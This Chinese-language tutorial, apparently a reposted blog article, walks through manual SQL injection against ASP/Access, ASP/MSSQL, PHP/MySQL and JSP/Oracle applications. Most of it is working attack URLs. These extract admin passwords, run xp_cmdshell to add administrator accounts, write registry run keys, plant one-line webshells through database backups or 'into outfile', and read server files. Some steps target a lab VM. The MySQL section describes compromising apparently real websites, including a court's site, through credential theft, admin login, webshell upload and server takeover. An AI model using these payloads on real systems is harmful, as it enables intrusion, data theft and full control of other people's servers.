天天看點

Sql注入攻擊技術初探

簡介:sql注入一般針對基于web平台的應用程式 由于很多時候程式員在編寫程式的時候沒有對浏覽器端送出的參數進行合法的判斷,可以由使用者自己修改構造參數(也可以是sql查詢語句),并傳遞至伺服器端 擷取想要的敏感資訊甚至執行危險代碼和系統指令就形成了sql注入漏洞,時至今日任然有很大一部分網站存在sql注入漏洞,可想而知sql注入攻擊的危 害,下面就目前sql注入攻擊技術進行總結,讓我們更加了解這種攻擊與防禦方法

一、            access資料庫注入攻擊技術

目前國内很大一部分網站都是采用asp+access搭建成的

本文示範網站是在虛拟機搭建的一套留言闆程式

http://192.168.80.128:8181/bbs/index.asp(留言闆首頁)

點選公告連接配接

此時注意觀察位址欄http://192.168.80.128:8181/bbs/gshow.asp?id=1

Gshow.asp後面跟了一個id參數,其值為數字1, 下面我們來看一下伺服器端的gshow.asp中的讀取公告内容的代碼

<% setrs=server.CreateObject("adodb.recordset")

            sql="select * from gonggaowhere id="&request.QueryString("id")

            rs.open sql,conn,1,3

            if rs.eof  or rs.bof then

            response.write("暫無公告内容")

            else

            %>

            <divalign="center"><%=rs("titles")%><br/>

           <%=rs("content")%><%=rs("addtime")%></div>

            <%

            end if

            rs.close

            set rs=nothing

%>

           可以很明顯的看到程式在接收到浏覽器端傳遞過來的id參數時,沒有經過任何過濾就直接進入資料接查詢了,那麼我們怎麼來通過這個漏洞來擷取我們想要的資訊呢,測試之前我們是不知道對方所使用的資料庫類型也不知道資料庫裡面有哪些表、字段等等(類似blackbox test),一般情況下asp可以與access和 mssql資料庫結合,首先我們來判斷一下資料庫類型

在id參數後面加上 and exists(select * from msysobjects)

注:mysysobjects是access的系統表

完整的測試語句:http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select* from msysobjects)回車送出到伺服器端

如圖,根據伺服器傳回結果,(Microsoft JET Database Engine 錯誤 '80040e09'不能讀取記錄;在'msysobjects'上沒有讀取資料權限。/bbs/gshow.asp,行 11) 說明存在msysobjects表,也就是說背景是采用的access資料庫(若伺服器傳回[Microsoft][ODBC SQL Server Driver][SQLServer]對象名 'msysobjects' 無效。則說明是sqlserver資料庫,相關方法會在下面講述,這裡重點讨論access資料庫)

下面我們來進一步擷取我們想要的資訊 一般網站重要的資訊就是背景管理者登陸帳号密碼了,我們送出http://192.168.80.128:8181/bbs /gshow.asp?id=1 and exists(select * from users) (判斷資料庫中是否存在users表)

根據圖中傳回結果提示users表不存在,那麼我們繼續來送出

http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select * from admin

伺服器端傳回的資料和http://192.168.80.128:8181/bbs/gshow.asp?id=1一樣

這是因為參數一起帶入資料庫裡面就變成了select* from gonggao where id=1 and exists(select * from admin) 由于存在admin表條件成立就和select * from gonggao where id=1的查詢傳回結果一樣了,找到了admin表現在就以此類推猜測字段

送出http://192.168.80.128:8181/bbs/gshow.asp?id=1and exists(select user from admin)

伺服器傳回”至少一個參數沒有被指定值”

說明不存在user字段,繼續送出http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select admin from admin)

伺服器傳回正常,說明admin表裡面存在字段”admin”(這個字段一般就是管理者登陸名稱)

再送出

http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select password from admin)

說明存在password字段(就是登陸密碼了),繼續猜測第一個字段内容長度

http://192.168.80.128:8181/bbs/gshow.asp?id=1 and (select top 1 len(admin) from admin)=5 得到下圖所示的頁面說明長度為5

現在可以根據得到的資訊猜解字段内容了,具體方法就是and (select top 1 asc(mid(admin,x,1))from admin)>x将表中第一條記錄指定字段内容的某個字元的ascii值進行比較,以此類推進而猜測出字段内容 本文中送出

http://192.168.80.128:8181/bbs/gshow.asp?id=1and 97=(select top 1 asc(mid(admin,1,1)) from admin)

這種方法手動來輸入很浪費時間,下面介紹另外一種高效率的方法,unionselect--聯合查詢.

小知識:

UNION運算符可以将兩個或兩個以上上SELECT語句的查詢結果集合合并成一個結果集合顯示,即執行聯合查詢。UNION的文法格式為:

  select_statement

  UNION [ALL] selectstatement

  [UNION [ALL] selectstatement][…n]

其中selectstatement為待聯合的SELECT查詢語句。   

ALL選項表示将所有行合并到結果集合中。不指定該項時,被聯合查詢結果集合中的重複行将隻保留一行。   

聯合查詢時,查詢結果的列标題為第一個查詢語句的列标題。是以,要定義列标題必須在第一個查詢語句中定義。要對聯合查詢結果排序時,也必須使用第一查詢語句中的列名、列标題或者列序号。

   在使用UNION 運算符時,應保證每個聯合查詢語句的選擇清單中有相同數量的表達式,并且每個查詢選擇表達式應具有相同的資料類型,或是可以自動将它們轉換為相同的資料類型。在自動轉換時,對于數值類型,系統将低精度的資料類型轉換為高精度的資料類型。

   在包括多個查詢的UNION語句中,其執行順序是自左至右,使用括号可以改變這一執行順序。例如:   

查詢1 UNION (查詢2 UNION 查詢3)

已知資料庫中有兩個表(gonggao,admin)其中test表結構和内容如下

“公告”表裡面有5個字段,admin裡面有3個字段

在sql視圖中執行查詢語句

select * from gonggao where id=1 unionselect 1,2,3,4,5 from admin,(5是gonggao表的字段個數)傳回下圖所示

查詢結果傳回的第一條資料是1,2,3,4,5

而程式将第一次查詢到的資料輸出到網頁

       <% setrs=server.CreateObject("adodb.recordset")

            sql="select * from gonggaowhere id="&request.QueryString("id")

            rs.open sql,conn,1,3

            if rs.eof  or rs.bof then

            response.write("暫無公告内容")

            else

            %>

            <divalign="center"><%="标題: " & rs("titles")%><br/>

            <%="内容:" &rs("content")%><%="   <br> 釋出時間:" &rs("addtime")%></div>

            <%

            end if

            rs.close

            set rs=nothing

        %>

在浏覽器位址欄輸入

http://192.168.80.128:8181/bbs/gshow.asp?id=1union select 1,2,3,4,5 from admin 傳回如下

結合資料庫表和代碼來看 在網頁中輸出了titles、content、addtime這三個字段内容,在表中就是2,3,4的位置

接下來我們把2、3、或4輸出的地方換成我們想要查詢到的管理者資訊,上面我們已經知道了管理者表裡面存在admin、password字段,構造語句

http://192.168.80.128:8181/bbs/gshow.asp?id=1union select 1,admin,password,4,5 from admin

這樣就擷取了管理者表admin中的資料,有了這些資訊接下來能夠幹什麼事情大家都清楚了吧。

(利用查詢出來的管理者帳号登陸可以進行非法管理)

 細心的讀者會提問怎樣知道字段個數的。那麼怎樣去判斷字段個數呢,有兩個方法:一個就是用oder by x排序(X為猜測的字段個數,傳回正常則說明表中字段個數大于或等于x),本例中 在存在注入漏洞的位址後面加上 order by 4

根據圖中傳回資訊可以判定字段數>=4,繼續送出 order by 6

如圖,出現了錯誤提示,說明字段數是小于6的,再送出order by 5

傳回正常頁面結合上面就可以斷定字段數為5了,再使用union select即可查詢出想要的資訊

;另一個是用union select x,x來累加猜測

如果傳回上圖所示的錯誤資訊就累加,直到頁面輸出資料的地方出現數字

然後再将字段名替換數字就能夠實作快速得到資料庫資訊了。

二、            Mssql注入技術

目前mssql資料庫在web應用程式開發中也占了很大一部分比例,很多腳本語言都能夠與之相結合, 

下面來介紹基于asp+Mssql web環境下的注入攻擊技術,本文測試平台為一套新聞釋出程式

主界面如下

點選進入新聞連接配接http://192.168.80.128:8181/aspsql/news.asp?id=1

先來分析下news.asp的讀取資料代碼

<%

  Dim rsCate

  '定義記錄集對象

  Set rs =Server.CreateObject("ADODB.RecordSet")

  Set rsCate =Server.CreateObject("ADODB.RecordSet")

  '設定SQL語句,讀取指定的新聞記錄

  sqlString="SELECT * FROM News WHEREId=" & Request("id")

  rs.Open sqlString, Conn, 1,3

  '替換新聞正文中的特殊标記

         rqtContent= rs("content")     

%>

<center>

 <table borderColorLight="#000080" cellSpacing="5"cellpadding="0" width="98%">

    <tr>

     <td width="100%" align=centerheight=50><strong><font color=redsize=4><%=stitle%></font></strong>

    </td></tr>

          <tr>

                    <tdalign=center><strong><%=RS("title")%></strong><br>

<%=RS("posttime")%><br>

                    <hr color="blue"></td>

          </tr>

          <tr>

                    <td><%=rqtContent%></td>

          </tr>

         </table></center>

<%   

  rs.Close

  Set rs = Nothing

%>

同樣是接受用戶端送出來的參數id沒有經過任何過濾就進入了資料庫查詢,就導緻注入漏洞産生。下面開始測試

首先在參數後面送出單引号’伺服器馬上傳回下圖所示的典型的錯誤提示

這是因為此時的查詢語句變成了

“Select * from newswhere id=1’” 有未閉合的單引号,根據錯誤提示看到了sqlserver字樣是以可以判斷背景使用了mssql資料庫,(也可以繼續用and 1=1和and 1=0根據伺服器傳回結果是否一樣來判斷是否存在注入,本文中程式代碼是存在注入的是以就不多加測試)

注:可以使用and exists(select * from sysobjects)來判斷,sysobjects是mssql系統自帶的表).

再來送出

查詢語句變成select * from news where id=1 and system_user=0

其中system_user是查詢目前連接配接資料庫的使用者名 。傳回值是字元型,而我們的語句後面就變成了and sa=1,sa是字元型資料,而1是int (整型),二者進行比較的時候因為類型不比對資料庫就會報錯

根據傳回資訊,我們得知了目前連接配接資料庫的使用者名(也可以使用and1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--如果傳回正常則說明是sa權限),sa為資料庫使用者中最高權限,而且預設也是系統權 限,有了系統權限 對伺服器安全威脅是相當高的,假如資料庫和web伺服器是同一個伺服器,預設情況下我們就可以通過mssql自帶的存儲過程對整個伺服器進行控制

xp_regread系統資料庫讀取

xp_regwrite 寫入系統資料庫

xp_dirtree 列目錄

xp_enumdsn ODBC連接配接

xp_loginconfig 伺服器安全模式資訊

xp_makecab 建立壓縮卷

xp_ntsec_enumdomains domain資訊

xp_terminate_process 終端程序,給出一個PID

xp_cmdshell(利用此存儲過程可以直接執行系統指令)

我們先來判斷一xp_cmdshell存儲過程是否存在,在浏覽器裡面送出

http://192.168.80.128:8181/aspsql/news.asp?id=1and 1=(select count(*) FROM master.dbo.sysobjects where name ='xp_cmdshell')

注:select count(*) frommaster.dbo.sysobjects where name=’xp_cmdshell’此語句查詢系統表msobjects裡面存在名稱為xp_cmdshell的記錄數,傳回是1,整個語句變為1=1 成立,資料庫就不會報錯,是以此頁面傳回正常

如果此擴充存儲不存在,我們可以用exec sp_addextendedprocxp_cmdshell,'xplog701.dll'來恢複,要禁用的話可以用exec sp_dropextendedproc'xp_cmdshell'

繼續來進一步利用,假如資料庫伺服器已經開啟遠終端服務,允許使用者遠端管理計算機,我們直接用存儲過程執行系統指令添加一個管理者帳号即可登陸伺服器

接下來開始測試添加帳戶,在浏覽器送出

http://192.168.80.128:8181/aspsql/news.asp?id=1;execmaster..xp_cmdshell ’net user test westone /add’(添加一個使用者名為test密碼為westone的使用者)

沒有報錯繼續送出http://192.168.80.128:8181/aspsql/news.asp?id=1; execmaster..xp_cmdshell 'net localgroup administrators test /add'—(将添加的使用者添加至管理者組)

下面來連接配接一下伺服器終端

輸入使用者名test和密碼westone就可以對伺服器進行遠端非法控制了,上面的方法雖然執行了指令,但是看不到執行回顯結果,而且有 時候伺服器沒有開啟遠端終端服務或者是預設端口被管理者修改,我們則可以建立一個臨時表,将指令執行結果插入到臨時表裡面,然後讀取臨時表裡面的内容就看 到回顯結果了。具體實作過程如下,在浏覽器依次送出

http://192.168.80.128:8181/aspsql/news.asp?id=1;droptable black;create TABLE black(result varchar(7996) NULL, ID int NOT NULLIDENTITY (1,1))--

http://192.168.80.128:8181/aspsql/news.asp?id=1;insertinto black exec master..xp_cmdshell 'ipconfig /all'--

http://192.168.80.128:8181/aspsql/news.asp?id=1and (select result from black where id=1)>0--

and (select result from black where id=1)>0—依次更換後面的id來查詢擷取指令執行結果

SA權限可以做的事情還有很多比如調用xp_regwrite寫入系統資料庫

;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','netuser test westone /add'(這裡是寫入系統資料庫啟動項,系統啟動後就會運作”net user test westone”指令在伺服器上添加一個test帳戶)

下次登陸的時候就伺服器就多了一個test帳戶了

還可以用另外一種方式來執行系統指令

首先開啟沙盒模式:

http://192.168.80.128:8181/aspsql/news.asp?id=1;execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然後利用jet.oledb執行系統指令

http://192.168.80.128:8181/aspsql/news.asp?id=1;select *

 from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','selectshell("net user westone westone /add")')

注:如果注入點的參數是integer型的就用ias資料庫,如果是string型的就dnary.mdb,如果是win2k系統,路徑就是x:\winnt\system32\ias\ias.mdb,x是系統路徑

下面是關于沙盒模式的簡介,更詳細的資料在http://office.microsoft.com/zh-cn/access/HP010446592052.aspx

為 了幫助增強資料的安全性,可以選擇以沙盒模式運作 Access 2003。在沙盒模式下,Access 僅計算字段屬性和控件中那些安全的表達式。如果表達式未使用惡意使用者可用來通路他們未得到授權的驅動器、檔案或其他資源的那些函數或屬性,則可以認為該表 達式是安全的。例如,函數 Kill 和 Shell 可被用于損壞計算機中的資料和檔案,是以,認為它們是不安全的。以沙盒模式運作 Access 時,調用這些函數或屬性的表達式将會導緻錯誤資訊。

Sa權限還能執行sp_makewebtask(建立一項生成 HTML 文檔的任務,該文檔包含執行過的查詢傳回的資料。更多相關資料點選http://www.3800hk.com/news/w45/93964.html)在入侵測試過程中,可以用這個擴充存儲來将一句話木馬寫入到伺服器磁盤,一般是寫入web目錄,先将一句話木馬轉換成url格式

http://192.168.80.128:8181/aspsql/news.asp?id=1;exec

 sp_makewebtask'c:\inetpub\wwwroot\aspsql\no.asp','select''%3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--

|

就這樣成功得到一個webshell。

Sa權限還可以調用sp_oacreate存儲過程來完成更多功能,比如遠端下載下傳檔案

送出 http://192.168.80.128:8181/aspsql/news.asp?id=1;[email protected] varbinary(8000),@hr int,@http INT,@down INT EXEC sp_oacreate[Microsoft.XMLHTTP],@http output  [email protected] = sp_oamethod @http,[Open],null,[GET],[http://192.168.80.128:8181/0.txt],0EXEC @hr = sp_oamethod @http,[Send],null EXEC @[email protected],[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down outputEXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @[email protected],[mode],3 EXEC @hr=sp_oamethod @down,[Open],null EXEC @[email protected],[Write],null,@B EXEC @hr=sp_oametho[email protected],[SaveToFile],null,[c:\inetpub\wwwroot\aspsql\set.asp],1 –

(下載下傳檔案http://192.168.80.128:8181/aspsql/0.txt的内容到

c:\inetpub\wwwroot\aspsql\set.asp)

上 面介紹的是sa權限下的攻擊方法,下面我們來對當資料庫連接配接帳戶為dbowner權限時候的入侵測試做下總結,當我們遇到dbo權限的注入點時,通常就是 先用xp_dirtree來列出web目錄,然後用sql語句建立一個臨時表,插入寫入一句話木馬到臨時表,再用備份資料庫語句備份資料庫到web目錄并 儲存為asp格式,最後再用一句話木馬用戶端連接配接得到webshell。在測試環境伺服器的企業管理器上配置一個dbowner權限的資料庫帳戶

并對資料庫news有通路權限.将上面的測試代碼中連接配接資料庫的sa改成news帳戶

現在就可以測試dbo權限下的sql注入了

具體實作方法如下

判斷目前資料庫使用者是否為db_owner權限

在注入點後面輸入and 1=(SELECT IS_MEMBER('db_owner'));--

頁面傳回正常說明的确是db_owner權限

Web伺服器與資料庫沒有分離情況下就可以備份一句話木馬到web目錄了

我們先來用下面語句查找web目錄

create table temp(dir nvarchar(255),depth varchar(255),files varchar(255) ,IDint NOT NULL IDENTITY (1,1));--

--insert into temp(dir,depth,files) execmaster.dbo.xp_dirtree 'c:',1,1--

select * from news where id=1 and(selectdir from temp where id=2)>0

第一步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=7;create table temp(dir

nvarchar(255),depth varchar(255),files varchar(255) ,ID int NOT NULL IDENTITY(1,1))--(建立一個臨時表,一共4個字段,前三個字段用于存放執行存儲過程xp_dirtree傳回的結果,id字段則友善查詢 指定内容)

第二步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=7;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--

(執行xp_dirtree将指定目錄的檔案和檔案夾名稱插入到臨時表裡面)

第三步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=7 and(select dir from tempwhere id=1)=0

(查詢臨時表裡面的内容,也就是指定的目錄檔案和檔案夾名,不能依次性擷取,得更改ID的值依次列出檔案和檔案夾來。)

以此類推,隻要有足夠耐心就可以找到web目錄,

當我們經過列舉找到web目錄後,(比如本文中web的絕對路徑為

C:\Inetpub\wwwroot\aspsql)

下面就開始寫入一句話木馬

第一步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;alter database news setRECOVERY FULL

第二步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;create%20table%20cmd(str%20image)--

第三步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;backup log news todisk='c:\cmd' with init--

第四步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;insert into cmd(str) values('<%excute(request("cmd"))%>')--

第五步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;backup log news todisk='C:\Inetpub\wwwroot\aspsql\cmd.asp'--

第六步

http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;alter database news setRECOVERY simple

執行完畢後就會在web目錄下生成一個檔案

可以用一句話木馬用戶端連接配接即可得到webshell

很多時候注入不一定能夠執行存儲過程,或者權限不夠,就得像access資料庫那樣猜解管理者表,字段、内容

下面介紹sql注入暴取資料庫、表名,字段、字段内容的方法

擷取目前帳戶的所有資料庫

送出

http://localhost:8181/aspsql/NewsView.asp?id=1 and 1=(select name frommaster.dbo.sysdatabases where dbid=1)--

變換bdid的值來擷取資料庫清單裡面的所有資料庫名(注:0x75是u的16進制)

http://localhost:8181/aspsql/NewsView.asp?id=1 and (select top 1 name from(select top 1 name from sysobjects where xtype=0X75 order by name) t order byname desc)=0

(列出目前資料庫中的表名)

(對比一下資料庫中的表查詢傳回出了正确的表名)

要查詢指定資料庫的表名變換一下語句就行,比如跨資料庫擷取表http://localhost:8181/aspsql /NewsView.asp?id=1;and (select top 1name from (select top x name from 資料庫名..sysobjects where xtype=0X75 order by name) t order by name desc)=0

(不停變換x的值進而擷取其他資料庫中表名)

知道了表名,下面就進一步擷取資料庫表裡面的内容了

送出語句

http://localhost:8181/aspsql/NewsView.asp?id=1 and (selectcol_name(object_id('users'),1))=0

(成功擷取資料庫中users表的第一、二個字段名),以此類推就可以得到表中的所有字段名

下面來進一步擷取字段内容

送出http://localhost:8181/aspsql/NewsView.asp?id=1and(select username from users where userid=1)>0浏覽器傳回下圖所示

成功得到users表裡面的userid為一的username的内容(admin)

(成功得到密碼進入網站背景)

補充另外一種方法,可以暴取目前表的字段

送出http://localhost:8181/aspsql/NewsView.asp?id=1having 1=1

暴出了目前查詢的字段

再送出http://localhost:8181/aspsql/NewsView.asp?id=1group by id having 1=1

暴出了第二個字段名title

再送出

http://localhost:8181/aspsql/NewsView.asp?id=1 group by id,title having 1=1

得 到content字段,以此遞增知道出現“[Microsoft][ODBC SQL Server Driver][SQL Server]不能比較或排序 text、ntext 和 image 資料類型,除非使用 IS NULL或 LIKE 運算符。“的錯誤提示說明所有字段已經擷取完了。

至于mssql 中public權限注入點則可以結合以上語句擷取資料庫的管理者表、字段、内容然後進入背景想辦法拿webshell

三、             Mysql注入技術

mysql資料庫在web開發中也是運用得相當廣泛,和其它資料庫一樣,在腳本程式設計時如果對參數沒過濾或過濾不嚴格也會導至注入漏洞的産生。本文就以最為常見的php+mysql環境下的注入攻擊技術進行總結。

目标網站為http://spring.sina-qd.com/

點開一條帶參數的新聞連結

http://spring.sina-qd.com/news/show.php/?id=18944

在url後面加上一下單引号

這是程式簡單處理了資料庫暴錯資訊。下面來進一步确定是否存在注入漏洞

分别送出http://spring.sina-qd.com/news/show.php/?id=18944and 1=1

http://spring.sina-qd.com/news/show.php/?id=18944and 1=2

當送出and 1=2的時候資料傳回了錯誤資訊,這種情況下無論什麼資料庫都可以确定存在注入漏洞了。開始進一步或取相關資訊,

先用order by取得目前表的字段數,送出

http://spring.sina-qd.com/news/show.php/?id=18944 order by 14

傳回了正常頁面,再送出

http://spring.sina-qd.com/news/show.php/?id=18944 order by 19

傳回出錯頁面,說明字段數在大于或等于14小于19,

再來送出

http://spring.sina-qd.com/news/show.php/?id=18944order by 16傳回正常

送出http://spring.sina-qd.com/news/show.php/?id=18944order by 17

出錯,跟據上面傳回的結果說明字段數為16,再來使用union select 方法進一步擷取我們想要的資訊,

送出http://spring.sina-qd.com/news/show.php/?id=18944and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/**

跟據頁面傳回資訊可以看到在資料庫查詢顯示結果的地方顯示了我們剛剛輸入的數字,

下一步或取資料庫版本,目前使用者,資料庫名

送出http://spring.sina-qd.com/news/show.php/?id=18944and 1=2 union select 1,2,user(),4,version(),6,7,8,9,0,11,12,13,14,15,16

目前使用者為sinaqd(非root),版本為4.0.18(5.0以下),對于這種情況,

思路就是通過注入點送出查詢語句得到管理者登陸資訊然後進入背景上傳webshell,

下面來判斷管理者表,

http://spring.sina-qd.com/news/show.php/?id=18944 and 1=2 union select1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from user傳回錯誤頁面

再送出http://spring.sina-qd.com/news/show.php/?id=18944and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from users

說明存在users(有時候是管理者表,有時候是普通注冊使用者)表

繼續猜字段

http://spring.sina-qd.com/news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,5,6,7,8,9,0,11,12,13,14,15,16%20from%20users

成功擷取登陸名稱sinaqd

繼續送出

http://spring.sina-qd.com/news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,password,6,7,8,9,0,11,12,13,14,15,16%20from%20users

不存在pasword字段,

送出http://spring.sina-qd.com/news/show.php /?id=18944%20and%201=2%20union%20select%201,2,name,4,passwd,6,7,8,9,0,11,12,13,14,15,16%20from%20users

暴出了密碼,下面就尋找背景入口了,配合google很快找到了管理入口

http://spring.sina-qd.com/manage/generally/login.php

輸入使用者名和密碼,成功進入背景。現在是管理者了,然後在找到上傳的地方上傳webshell

此時我們對網站檔案和背景都有控制權限了。

mysql版本為5以上的手工注入方法

       申明:本文示範為真實網站,切勿破壞

http://www.gzhsfy.org/shownews.php?id=7503注入位址

根據上面的方法在位址後面進行猜字段數,然後用union select方法查詢資料庫連接配接使用者,資料庫版本

 and 1=2 union select1,2,user(),version(),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*

目前使用者為root,資料庫版本為5.0.41-community-nt

一 般情況下當看到上圖所示的頁面是值得高興的,因為root帳戶在mysql當中有最高權限,可以用load_file()函數讀取伺服器上的檔案,如果 web伺服器和資料庫伺服器沒有分離的話當找到web路徑之後還可以用select into outfile()将查詢結果導出到web目錄(通常是一句話木馬對我們比較有用),當然也有條件限制的,如果是jsp連接配接的mysql的話可以直接導 出,因為導出是指定路徑的雙引号在php中如果配置檔案中的magic_quotes_gpc=on的話就會被自動轉義成\’;繼續來進一步擷取資訊

送出

http://www.gzhsfy.org/shownews.php?id=7503%20and%201=2%20union%20select%201,2,user(),load_file('c:/boot.ini'),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*

(用load_file函數讀取伺服器上面的檔案)

傳回内容為空,這時有幾種情況,第一就是php.ini 配置檔案中magic_quotes_gpc為on單引号被轉義,且屏蔽了錯誤提示資訊。下面我們将c:\boot.ini轉換成16進制

0x633A5C626F6F742E696E69

再送出

http://www.gzhsfy.org/shownews.php?id=7503 and 1=2 union select1,2,user(),load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*

成功擷取了c:\boot.ini檔案的内容,得知系統為win2k3,繼續尋找目标網站的web路徑,一般有幾種方法

再變量後面加上單引号、改變參數類型、增加參數位數、/phpmyadmin、搜尋引擎

經嘗試前面幾種都在此無效,用搜尋引擎來找web目 錄原理就是有時候mysql資料庫出錯就會顯示一些錯誤資訊,甚至暴出web實體路徑,而搜尋引擎有時候會對網站頁面進行快照抓取,包括腳本出錯頁面,本 例中的網站就是一個典型的例子,搜尋mysqlsite:hzhsfy.org或者warning: site:gzhsfy.org

從搜尋結果中 得到了網站的實體路徑,再來讀取敏感檔案 比如資料庫連接配接檔案,

用上面的方法先讀取D:\mysite\gzhsfy\index.php(16進制編碼)

可以看到index.php源代碼了,繼續讀取D:\mysite\gzhsfy\include\config.php

(一般情況下這類包含檔案就是連接配接資料庫、網站的一些參數配置等的)

得到這個後就可以嘗試找phpmyadmin,然後用得到的root帳号和密碼登陸

登入資料庫管理工具phpmyadmin然後執行下面的語句就可以将一句話木馬寫入到web目錄(web目錄需要運作mysqld-nt的帳戶寫入權限)

select0x3C3F706870206576616C28245F524551554553545B636D645D293B3F3E into outfile'D:/mysite/gzhsfy/include/fk.php'

得到了一句話木馬|

上傳一個提權腳本

是系統權限能執行任意指令,就這樣一個注入點就導緻這個法院網站伺服器淪陷了

當mysql版本在5.0以上 連接配接資料庫帳号是普通使用者時,我們可以列出管理者資訊然後登陸背景再上傳webshell

使用select table_name frominformation_shcema.tables limit x,1()來列舉表名

http://www.gzhsfy.org/shownews.php?id=7503%20and%201=2%20union%20select%201,2,table_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.tables%20limit%201,1/*(更換limit後面的數字擷取資料庫中所有表)

再 用select column_name frominformation_schema.columns where table_name=表名的16進制編碼; 送出http://www.gzhsfy.org/shownews.php?id=7503 and 1=2 union select1,2,column_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22 frominformation_schema.columns where table_name=0x636F757274 limit 1,1/*

以此類推可以列出表的字段,再來列内容

select user_name from court

送出 http://www.gzhsfy.org/shownews.php?id=7503and 1=2 union select1,2,user_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22 from courtlimit 2,1/**

就可以擷取管理者登陸資訊了

擷取登陸密碼後可以試試常用的 admin  /manage等目錄嘗試登陸背景,也可以搜集背景字典用工具掃描背景,然後找上傳的地方上傳webshell(一般是利用有的背景發表文章的地方上傳附 件或圖檔檔案沒有過濾檔案格式可以上傳webshell、還有的背景線上編輯器漏洞也可以上傳)

四.oracle注入技術,

許多大型網站選用了Oracle系統。Oracle的關系資料庫是世界第一個支援SQL語言的資料庫。

oracle可以與許多腳本程式搭配,下面就來介紹jsp+oracle下的注入技術

首先要判斷是否為oracle注入點,總結為下面幾步

xx.jsp?id=1 and 1=1

xx.jsp?id=1and 1=2傳回不一樣則繼續

xx.jsp?id=1/*傳回錯誤(“/*”是mysql中的注釋符)

xx.jsp?id=1--傳回正常    //(“--“是oracle和mssql支援的注釋符)

xx.jsp?id=1;傳回錯誤   //(oracle不支援多行查詢)

xx.jsp?id=1and exists(select * from dual)    //(dual是oracle中的系統表)

滿足上面條件就可以确定是oracle注入點了

然後用order by x猜出列數 再用聯合查詢(union select)方法得到想要的資訊

比如 送出http://localhost:8000/oa/oa.jsp?id=4order by 4

如果傳回出錯資訊或者空頁面說名目前表中的字段數小于4

再送出http://localhost:8000/oa/oa.jsp?id=4 order by3

頁面傳回正常說明字段數是3

接着送出

http://localhost:8000/oa/oa.jsp?id=4%20and%201=2%20union%20select%20null,null,null%20from%20dual--

再來判斷一下頁面輸出的地方是否有字元型資料 ,送出

http://localhost:8000/oa/oa.jsp?id=4%20and%201=2%20union%20select%20%271%27,null,null%20from%20dual--

返 回了出錯資訊,因為我們是在第一個字段位置處送出的符’1’而表中第一個字段是數值型資料,兩個資料類型不相配,這樣程式在執行sql語句時就會出錯,上 圖中 伺服器沒有進行錯誤屏蔽處理 就傳回了錯誤提示資訊,頁面中隻有兩個輸出的地方,新聞浏覽頁一般都是标題和内容并且都是字元型資料,是以也可以直接在圖中顯示的地方插入查詢語句以便輸 出想要的資訊

xx.jsp?id=1and 1=2 union select null,null,null from daul(根據頁面輸出資料的地方判斷字段類型以便和想要得到想要資訊的資料類型比對,此處是标題和内容都是varchar2型的資料是以這裡示範就将查 詢語句插入到第二或第三個null處)

xx.jsp?id=1and 1=2 union select null,(select banner from sys.v_$version whererownum=1),null from dual

//查詢版本資訊

擷取表名

xx.jsp?id=1and 1=2 union select null,(select table_name from user_tables whererownum=1),null from dual

//查詢資料庫中第一個表 假如得到的是ADMIN

xx.jsp?id=1and 1=2 union select null,(select table_name from user_tables where rownum=1and table_name<>'ADMIN’),null from dual

(注意表名'ADMIN'要大寫)

//查詢資料庫中第二個表 假如得到的是AQ$_INTERNET_AGENTS

送出xx.jsp?id=1 and 1=2 union selectnull,(select table_name from user_tables where rownum=1 andtable_name<>'BORAD' and table_name<>'AQ$_INTERNET_AGENTS'),nullfrom dual

//以此類推可以查詢出目前使用者資料庫中的所有表名

擷取字段名

xx.jsp?id=1and 1=2 union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and rownum=1),null from dual

//擷取admin表中第一個字段,假如傳回結果為ID

xx.jsp?id=1and 1=2 union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and column_name<>'ID' and rownum=1),null from dual

//擷取admin 表中第二個字段,假如得到的是USERNAME

xx.jsp?id=1and 1=2 union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME'and rownum=1),null from dual

//以此類推就可以列出目标表的字段

擷取字段内容

xx.jsp?id=1and 1=2 union select null,username,password from admin where id=1

//可查詢出目标表裡面的相應字段内容

以此類推就可以擷取表中的所有字段内容(此處id是表中的一個唯一字段辨別,改變id值即可獲得指定id的字段内容)

selectmember from v$logfile where rownum=1 

//查詢日志檔案絕對路徑(可以判斷作業系統平台,例子中擷取的為windows系統中的檔案路徑)

selectinstance_name from v$instance  

//擷取伺服器sid

